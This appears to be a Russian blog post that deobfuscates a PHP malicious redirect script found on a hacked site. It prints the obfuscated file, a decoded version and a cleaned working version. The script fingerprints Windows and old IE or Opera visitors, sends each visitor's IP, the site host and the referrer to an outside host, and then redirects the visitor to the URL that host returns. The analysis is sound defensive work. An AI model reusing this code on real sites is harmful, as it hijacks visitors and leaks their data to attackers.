eXBlOiBh'.'cHBsaWNhdG'.'lv'.'bi9'.'4L'.'Xd3dy1m'.'b3'.'J'.'tL'.'XVybG'.'VuY29kZWQ'.'=','Cg==','Y29ud'.'GVudA'.'==','Ym'.'s=','UE'.'9'.'TVCA=','I'.'CBI'.'VFRQLzE'.'uM'.'A0K','VXN'.'lci'.'1BZ2'.'Vud'.'Dog'.'TW9'.'6aWxsYS'.'81LjAgKFdp'.'b'.'m'.'R'.'vd3M7IF'.'U'.'7IFdp'.'bmRvd3MgTl'.'QgNS4xO'.'yBl'.'bi1VUzs'.'gcnY6MS44'.'LjAuMyk'.'g'.'R'.'2V'.'ja28vMj'.'AwNjA0M'.'jYgRmlyZWZveC8'.'x'.'LjUu'.'MC4zDQo'.'=','QWN'.'jZXB0OiAqLy'.'oNC'.'g='.'=',''.'Q'.'WNjZXB0'.'LUxh'.'bmd'.'1YWdlOi'.'Blbi11cyxlbjtxPT'.'AuNQ0'.'K','QWN'.'jZX'.'B0LUN'.'o'.'YXJzZXQ6IE'.'lTTy0'.'4OD'.'U'.'5LTEsdXRmLTg'.'7cT0w'.'LjcsKj'.'txPTA'.'u'.'N'.'w0'.'K','Q29udG'.'VudC1M'.'ZW5n'.'dGg'.'6IA='.'=','D'.'Q'.'o=','','DQ'.'oN'.'Cg==','bQ==','am'.'1wcA==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){exit(_724562126(6));}$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);$_4=false;foreach($_3 as $_5){if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){$_4=true;break;}}if(!$_4){exit(_724562126(12));}$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);if(empty($_6)){exit(_724562126(16));}$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;$_8=l__0($_7);if($_8==_724562126(28)){exit(_724562126(29));}$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));function l__0($_9){if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){return l__1($_9);}else{$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){return l__3($_9);}}}function l__1($_7){$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);$_17=_724562126(43);}function l__2($_11,$_18,$_19,$_7){$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");$_2=_724562126(52);if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){$_2 .= $_15;}$GLOBALS['_664181862_'][25]($_11);$_21=round(0+572+572);$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));$_22=round(0+500.8+500.8+500.8+500.8+500.8);return $_2;}function l__3($_7){$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));$GLOBALS['_664181862_'][33]($_1,42,FALSE);$_23=_724562126(54);$GLOBALS['_664181862_'][34]($_1,19913,TRUE);if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));else{$GLOBALS['_664181862_'][36]($_15,$_7,$_12);}$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));$_24=_724562126(55);$GLOBALS['_664181862_'][38]($_1,10015,$_7);if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));else{$GLOBALS['_664181862_'][40]($_13,$_1);}$_16=$GLOBALS['_664181862_'][41]($_1);$GLOBALS['_664181862_'][42]($_1);$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);return $_16;}

Само собой — файл в одну строку, содержимое закодировано.
Добавим переносов:
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(
	base64_decode('ZGVmaW5l'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('c3RycG9z'),
	base64_decode('c3RycG9z'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('c3RyX3JlcGxhY2U='),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('aGVhZGVy'),
	base64_decode('dHJpbQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('YXJyYXlfcmVkdWNl'),
	base64_decode('ZmZsdXNo'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('ZnB1dHM='),
	base64_decode('c3RybGVu'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmlsbA=='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmxpcA=='),
	base64_decode('c3Vic3Ry'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('c3Vic3Ry'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('cHJlZ19yZXBsYWNl'),
	base64_decode('ZnJlYWQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('c3RydmFs'),
	base64_decode('YXJyYXlfbWVyZ2U='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ==')); 
?><? 
function _724562126($i){
	$a=Array(
		'QURNSU5fUkVESVJfVVJM',
		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
		'SFRUUF9VU0VSX0FHRU5U',
		'SFRUUF9VU0VSX0FHRU5U',
		'',
		'd2luZG93cw==',
		'MXo=',
		'b3BlcmEvOS44MA==',
		'bXNpZSAxMA==',
		'bXNpZSA5',
		'bXNpZSA4',
		'bXNpZSA3',
		'Mno=',
		'SFRUUF9SRUZFUkVS',
		'SFRUUF9SRUZFUkVS',
		'',
		'M3o=',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'd3d3Lg==',
		'',
		'SFRUUF9IT1NU',
		'ZD0=',
		'SFRUUF9IT1NU',
		'Og==',
		'UkVNT1RFX0FERFI=',
		'Og==',
		'QkFE',
		'NHo=',
		'TG9jYXRpb246IA==',
		'YWxsb3dfdXJsX2ZvcGVu',
		'aG9zdA==',
		'aG9zdA==',
		'cGF0aA==',
		'Y3VybF9pbml0',
		'aHR0cA==',
		'bWV0aG9k',
		'UE9TVA==',
		'aGVhZGVy',
		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
		'Cg==',
		'Y29udGVudA==',
		'Yms=',
		'UE9TVCA=',
		'ICBIVFRQLzEuMA0K',
		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
		'QWNjZXB0OiAqLyoNCg==',
		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
		'Q29udGVudC1MZW5ndGg6IA==',
		'DQo=',
		'',
		'DQoNCg==',
		'bQ==',
		'am1wcA==');
return base64_decode($a[$i]);
} 
?><?php 
$GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));
$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);
(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));
if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){
	exit(_724562126(6));
}
$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);
$_4=false;
foreach($_3 as $_5){
	if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){
		$_4=true;
		break;
	}
}
if(!$_4){
	exit(_724562126(12));
}
$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);
if(empty($_6)){
	exit(_724562126(16));
}
$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);
$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);
$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;

$_8=l__0($_7);
if($_8==_724562126(28)){
	exit(_724562126(29));
}

$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));
function l__0($_9){
	if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
		return l__1($_9);
	}else{
		$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);
		if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){
			return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);
		}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){
			return l__3($_9);
		}
	}
}
function l__1($_7){
	$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));
	if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);
	return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);
	$_17=_724562126(43);
}

function l__2($_11,$_18,$_19,$_7){
	$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");
	$_2=_724562126(52);
	if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);
	while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){
		$_2 .= $_15;
	}
	$GLOBALS['_664181862_'][25]($_11);
	$_21=round(0+572+572);
	$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));
	if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);
	$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));
	$_22=round(0+500.8+500.8+500.8+500.8+500.8);
	return $_2;
}

function l__3($_7){
	$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);
	(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));
	$GLOBALS['_664181862_'][33]($_1,42,FALSE);
	$_23=_724562126(54);
	$GLOBALS['_664181862_'][34]($_1,19913,TRUE);
	if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));
	else{
		$GLOBALS['_664181862_'][36]($_15,$_7,$_12);
	}
	$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));
	$_24=_724562126(55);
	$GLOBALS['_664181862_'][38]($_1,10015,$_7);
	if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));
	else{
		$GLOBALS['_664181862_'][40]($_13,$_1);
	}
	$_16=$GLOBALS['_664181862_'][41]($_1);
	$GLOBALS['_664181862_'][42]($_1);
	$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);
	return $_16;
}
?>

Расшифровываем код:
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(
 //    [0] => define
 //    [1] => strtolower
 //    [2] => imagecreatefromgif
 //    [3] => mt_rand
 //    [4] => strpos
 //    [5] => strpos
 //    [6] => strtolower
 //    [7] => str_replace
 //    [8] => urlencode
 //    [9] => urlencode
 //    [10] => header
 //    [11] => trim
 //    [12] => ini_get
 //    [13] => parse_url
 //    [14] => fsockopen
 //    [15] => function_exists
 //    [16] => stream_context_create
 //    [17] => array_reduce
 //    [18] => fflush
 //    [19] => file_get_contents
 //    [20] => fputs
 //    [21] => strlen
 //    [22] => mt_rand
 //    [23] => array_fill
 //    [24] => fread
 //    [25] => fclose
 //    [26] => strpos
 //    [27] => mt_rand
 //    [28] => array_flip
 //    [29] => substr
 //    [30] => curl_init
 //    [31] => substr
 //    [32] => mt_rand
 //    [33] => curl_setopt
 //    [34] => curl_setopt
 //    [35] => preg_replace
 //    [36] => fread
 //    [37] => curl_setopt
 //    [38] => curl_setopt
 //    [39] => strval
 //    [40] => array_merge
 //    [41] => curl_exec
 //    [42] => curl_close
	base64_decode('ZGVmaW5l'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('c3RycG9z'),
	base64_decode('c3RycG9z'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('c3RyX3JlcGxhY2U='),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('aGVhZGVy'),
	base64_decode('dHJpbQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('YXJyYXlfcmVkdWNl'),
	base64_decode('ZmZsdXNo'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('ZnB1dHM='),
	base64_decode('c3RybGVu'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmlsbA=='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmxpcA=='),
	base64_decode('c3Vic3Ry'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('c3Vic3Ry'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('cHJlZ19yZXBsYWNl'),
	base64_decode('ZnJlYWQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('c3RydmFs'),
	base64_decode('YXJyYXlfbWVyZ2U='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ==')); 
?><? 
function _724562126($i){
//     [0] => ADMIN_REDIR_URL
//     [1] => http://test.customsexcams.com/rb/get_url.php
//     [2] => HTTP_USER_AGENT
//     [3] => HTTP_USER_AGENT
//     [4] => 
//     [5] => windows
//     [6] => 1z
//     [7] => opera/9.80
//     [8] => msie 10
//     [9] => msie 9
//     [10] => msie 8
//     [11] => msie 7
//     [12] => 2z
//     [13] => HTTP_REFERER
//     [14] => HTTP_REFERER
//     [15] => 
//     [16] => 3z
//     [17] => HTTP_HOST
//     [18] => HTTP_HOST
//     [19] => HTTP_HOST
//     [20] => www.
//     [21] => 
//     [22] => HTTP_HOST
//     [23] => d=
//     [24] => HTTP_HOST
//     [25] => :
//     [26] => REMOTE_ADDR
//     [27] => :
//     [28] => BAD
//     [29] => 4z
//     [30] => Location: 
//     [31] => allow_url_fopen
//     [32] => host
//     [33] => host
//     [34] => path
//     [35] => curl_init
//     [36] => http
//     [37] => method
//     [38] => POST
//     [39] => header
//     [40] => Content-Type: application/x-www-form-urlencoded
//     [41] => 

//     [42] => content
//     [43] => bk
//     [44] => POST 
//     [45] =>   HTTP/1.0

//     [46] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3

//     [47] => Accept: */*

//     [48] => Accept-Language: en-us,en;q=0.5

//     [49] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

//     [50] => Content-Length: 
//     [51] => 

//     [52] => 
//     [53] => 


//     [54] => m
//     [55] => jmpp
	$a=Array(
		'QURNSU5fUkVESVJfVVJM',
		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
		'SFRUUF9VU0VSX0FHRU5U',
		'SFRUUF9VU0VSX0FHRU5U',
		'',
		'd2luZG93cw==',
		'MXo=',
		'b3BlcmEvOS44MA==',
		'bXNpZSAxMA==',
		'bXNpZSA5',
		'bXNpZSA4',
		'bXNpZSA3',
		'Mno=',
		'SFRUUF9SRUZFUkVS',
		'SFRUUF9SRUZFUkVS',
		'',
		'M3o=',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'd3d3Lg==',
		'',
		'SFRUUF9IT1NU',
		'ZD0=',
		'SFRUUF9IT1NU',
		'Og==',
		'UkVNT1RFX0FERFI=',
		'Og==',
		'QkFE',
		'NHo=',
		'TG9jYXRpb246IA==',
		'YWxsb3dfdXJsX2ZvcGVu',
		'aG9zdA==',
		'aG9zdA==',
		'cGF0aA==',
		'Y3VybF9pbml0',
		'aHR0cA==',
		'bWV0aG9k',
		'UE9TVA==',
		'aGVhZGVy',
		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
		'Cg==',
		'Y29udGVudA==',
		'Yms=',
		'UE9TVCA=',
		'ICBIVFRQLzEuMA0K',
		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
		'QWNjZXB0OiAqLyoNCg==',
		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
		'Q29udGVudC1MZW5ndGg6IA==',
		'DQo=',
		'',
		'DQoNCg==',
		'bQ==',
		'am1wcA==');
return base64_decode($a[$i]);
} 
?><?php 
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");

if (isset($_SERVER[HTTP_USER_AGENT])) {
	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
	$_0 = "";
}

if(0){
	imagecreatefromgif($_1,$_2);
} else {
	mt_rand(3419,3876);
}

if (strpos($_0,"windows")===false){
	exit("1z");
}

$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;

foreach($_3 as $_5){
	if (strpos($_0,$_5)!==false){
		$_4=true;
		break;
	}
}
if(!$_4){
	exit("2z");

}
if (isset($_SERVER[HTTP_REFERER])){
	$_6 = $_SERVER[HTTP_REFERER]);
} else {
	$_6 = "";
}

if(empty($_6)){
	exit("3z");

}
$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]);

$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);";

$_8=l__0($_7);
if ($_8="BAD"){
	exit("4z");
}

header("Location: ".trim($_8));

function l__0($_9){
	if (ini_get(allow_url_fopen)==1){
		return l__1($_9);
	} else {
		$_10 = parse_url(ADMIN_REDIR_URL);
		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
			return l__2($_11,$_10[host],$_10[path],$_9);
		} elseif (@function_exists(curl_init)){
			return l__3($_9);
		}
	}
}

function l__1($_7){
	$_14=stream_context_create(array(http=>array(method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ",content=>$_7,),));
	if (0 && array_reduce($_4, $_15, $_5)){ //- мусор
		fflush($_16); 
	}
	return file_get_contents(ADMIN_REDIR_URL,false,$_14);

	$_17 = "bk"; //мусор
}

function l__2($_11,$_18,$_19,$_7){
	fputs($_11, "POST ".$_19."  HTTP/1.0\r\n
		Host: $_18\r\n
		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n
		Accept: */*\r\n
		Accept-Language: en-us,en;q=0.5\r\n
		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
		Content-Length: ".strlen($_7)."\r\n
		Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");
	
	$_2="";
	
	if (4001<mt_rand(1611,2385)) { // мусор
		array_fill($_20,$_19,$_13);
	}
	
	while ($_15=fread($_11, 4096)){
		$_2 .= $_15;
	}
	
	fclose($_11);
	
	$_21 = 1144; // мусор
	
	$_20 = strpos($_2, "");
	
	if (4480<mt_rand(1439,3036)){ // мусор
		array_flip($_14, $_20);
	}
	
	$_2=substr($_2, $_20+4);
	
	$_22 = 2504; // мусор
	
	return $_2;
}

function l__3($_7){
	$_1 = curl_init(ADMIN_REDIR_URL);
	
	if (0){ // мусор
		substr($_4, $_15, $_18);
	} else {
		mt_rand(447, 3183);
	}
	
	curl_setopt($_1, 42, FALSE);
	
	$_23 = m; // мусор
	
	curl_setopt($_1,19913,TRUE);
	
	if (6581>2508 || preg_replace($_20)); //мусор
	else{
		fread($_15,$_7,$_12);
	}
	
	curl_setopt($_1,13,15);
	
	$_24 = jmpp; //мусор
	
	curl_setopt($_1,10015,$_7);
	
	if (2561>1760 || strval($_11,$_3,$_15)); // мусор
	else {
		array_merge($_13,$_1);
	}
	
	$_16=curl_exec($_1);
	
	curl_close($_1);
	
	$_25=4730; //мусор
	
	return $_16;
}

?>

Удаляем лишнее:

<?php 
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");

if (isset($_SERVER[HTTP_USER_AGENT])) { // Проверка наличия юзер-агента
	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
	$_0 = "";
}

if (strpos($_0,"windows")===false){ // если юзер-агента нет, или в нём нет упоминания слова "windows", на экран выводится 1z. Скрипт завершается.
	exit("1z");
}

$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;

foreach($_3 as $_5){
	if (strpos($_0,$_5)!==false){ //проверка упоминания в юзер-агенте браузера Opera или ШУ
		$_4=true;
		break;
	}
}

if(!$_4){
	exit("2z"); //если браузер иной - вывод на экран 2z. Скрипт завершается.
}

if (isset($_SERVER[HTTP_REFERER])){ // проверка наличия реферера
	$_6 = $_SERVER[HTTP_REFERER];
} else {
	$_6 = "";
}

if(empty($_6)){ // если нет реферера - вывод на экран 3z. Скрипт завершается.
	exit("3z");
}

$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]); // 

$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);"; // строка вида d=АДРЕС_САЙТА:АДРЕС_КЛИЕНТА:РЕФЕРАЛ
$_8=l__0($_7);

if ($_8="BAD"){ // если содержимое полученного файла "BAD" - вывод на экран 4z. Скрипт завершается.
	exit("4z");
}

header("Location: ".trim($_8)); // если всё удалось, переходим по полученной ссылке

function l__0($paramurl){ // выбор способа получения данных из файла
	if (ini_get(allow_url_fopen)==1){ 
		return l__1($paramurl);
	} else {
		$_10 = parse_url(ADMIN_REDIR_URL);
		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
			return l__2($_11,$_10[host],$_10[path],$paramurl);
		} elseif (@function_exists(curl_init)){
			return l__3($paramurl);
		}
	}
}
function l__1($paramurl){ // получение данных из файла с помощью file_get_contents
	$_14=stream_context_create(array(
		http=>array(
			method=>POST, 
			header=>"Content-Type: application/x-www-form-urlencoded ",
			content=>$paramurl,
			),
		)
	);
	
	return file_get_contents(ADMIN_REDIR_URL,false,$_14);
}


function l__2($socket, $host, $path, $paramurl){ // получение данных из файла с помощью fsockopen
	fputs($socket, "POST ".$path."  HTTP/1.0\r\n
		Host: $host\r\n
		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n
		Accept: */*\r\n
		Accept-Language: en-us,en;q=0.5\r\n
		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
		Content-Length: ".strlen($paramurl)."\r\n
		Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl");
	$response="";

	while ($buffer=fread($socket, 4096)){
		$response .= $buffer;
	}
	
	fclose($socket);	
	$header_end = strpos($response, "");	
	$response=substr($response, $header_end+4);	
	return $response;
}


function l__3($paramurl){ // получение данных из файла с помощью curl
	$curl = curl_init(ADMIN_REDIR_URL);	
	curl_setopt($curl, 42, FALSE);	
	curl_setopt($curl,19913,TRUE);
	curl_setopt($curl,13,15);
	curl_setopt($curl,10015,$paramurl);	
	$response=curl_exec($curl);
	curl_close($curl);
	return $response;
}

?>


Суть скрипта — обращение по адресу test.customsexcams.com/rb/get_url.php с определённым параметром (вида d=АДРЕС_САЙТА: АДРЕС_КЛИЕНТА: РЕФЕРАЛ).

Быстренько, скопировав одну из функций, я запустил свой скрипт, чтобы перейти к следующему шагу:
$purl="d=weddingcatering.co.th:80.112.243.203%3AEach_will_be_rewarded_according_to_merit";
	$_14=stream_context_create(array(
		http=>array(
			method=>POST, 
			header=>"Content-Type: application/x-www-form-urlencoded ",
			content=>$purl,
			),
		)
	);
